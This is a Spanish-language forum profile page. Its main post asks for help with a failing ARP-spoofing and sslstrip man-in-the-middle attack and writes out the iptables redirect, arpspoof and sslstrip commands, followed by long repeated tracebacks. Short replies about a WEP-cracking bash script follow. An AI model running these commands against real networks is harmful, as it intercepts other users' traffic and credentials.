Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - zit0

#1
Hacking / mitm con sslstrip y arpspoof. ayuda
29 Diciembre 2012, 22:33 PM
Buenas tardes chicos, llevo mucho tiempo sin postear (nunca he sido muy amigo de los posts mas que nada porque pocas veces me contestan al ser nuevo en el foro...) pero hoy estoy desquiciado!!  :xD llevo dos dias intentando realizar un mitm con sslstrip y no lo consigo....
espero que puedan ayudarme.
He seguido los siguientes pasos (en bactrack 5 r3):
-Primera shell-
#echo 1 > /proc/sys/net/ipv4/ip_forward
#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
-segunda shell-
#arpspoof -i wlan0 -t 192.168.1.8 192.168.1.1
-tercera shell-
#python sslstrip.py -l 10000 -w trafico.log

bien ahora llega el problema.... cuando reviso el log del sslstrip veo que me saca algo tal que asi:

2012-12-29 16:54:06,485 Host resolution error: [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.DNSLookupError'>: DNS lookup failed: address '192.168.1.1:80' not found: [Errno -5] No address associated with hostname.

Y cuando miro en la shell donde ejecute el sslstrip, me saca el siguiente texto...:


Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
self.client.write(data)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 898, in write
raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
self.client.write(data)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 898, in write
raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
selectable.readConnectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 257, in readConnectionLost
self.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
selectable.readConnectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 257, in readConnectionLost
self.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
selectable.readConnectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 257, in readConnectionLost
self.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
selectable.connectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
self.client.write(data)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 898, in write
raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
selectable.readConnectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 257, in readConnectionLost
self.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/protocols/tls.py", line 460, in connectionLost
ProtocolWrapper.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/protocols/policies.py", line 123, in connectionLost
self.wrappedProtocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
Unhandled Error
Traceback (most recent call last):
File "sslstrip.py", line 105, in main
reactor.run()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1169, in run
self.mainLoop()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/base.py", line 1181, in mainLoop
self.doIteration(t)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/pollreactor.py", line 167, in doPoll
log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
self._disconnectSelectable(selectable, why, inRead)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
selectable.readConnectionLost(f)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 257, in readConnectionLost
self.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 433, in connectionLost
Connection.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 277, in connectionLost
protocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/protocols/tls.py", line 460, in connectionLost
ProtocolWrapper.connectionLost(self, reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/protocols/policies.py", line 123, in connectionLost
self.wrappedProtocol.connectionLost(reason)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 455, in connectionLost
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
Unhandled Error
Traceback (most recent call last):
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 84, in callWithLogger
return callWithContext({"system": lp}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/log.py", line 69, in callWithContext
return context.call({ILogContext: newCtx}, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 118, in callWithContext
return self.currentContext().callWithContext(ctx, func, *args, **kw)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/python/context.py", line 81, in callWithContext
return func(*args,**kw)
--- <exception caught here> ---
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/posixbase.py", line 586, in _doReadOrWrite
why = selectable.doRead()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/internet/tcp.py", line 199, in doRead
rval = self.protocol.dataReceived(data)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/protocols/basic.py", line 572, in dataReceived
return self.rawDataReceived(data)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 503, in rawDataReceived
self.handleResponseEnd()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
HTTPClient.handleResponseEnd(self)
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 466, in handleResponseEnd
self.handleResponse(b)
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 134, in handleResponse
self.shutdown()
File "/pentest/web/sslstrip/sslstrip/ServerConnection.py", line 154, in shutdown
self.client.finish()
File "/usr/local/lib/python2.6/dist-packages/Twisted-12.0.0-py2.6-linux-x86_64.egg/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost;

Teneis ide de de que es lo que esta fallando??

EDITO: he probado con otro equipo de la red y en el log no se registra ese error de dnslookup, y puedo ver en texto claro todo aunque el sslstrip me saca todo ese texto igualmente. Sabriais decirme porque con algunos equipos me sale el error del lookup y en otros no?
#2
Bugs y Exploits / inyectando por formulario
10 Febrero 2012, 01:08 AM
pueden borrarlo
#3
Bugs y Exploits / Inyeccion sql dudillas
9 Febrero 2012, 05:21 AM
pueden borrarlo.
#4
hum... atacar varias redes a la vez? me gusta la idea, lo etudiaré aer que tal y lo del zenity no se hasta que punto puede ser util pero voy a jugar un poco con el código que ya tengo y aer que sucede jaja. gracias por molestarte en contestar ;)
#5
justamente estaba colgando el codigo de mi script cuando he visto el tuyo xD
felicidades. está muy logrado, el mio es un poco mas humilde pero estaría bien que le exases un ojo ya que estoy empezando en esto del bash y no me vendria mal algun consejo ;)
http://foro.elhacker.net/wireless_en_linux/script_para_claves_wep-t326937.0.html

#6
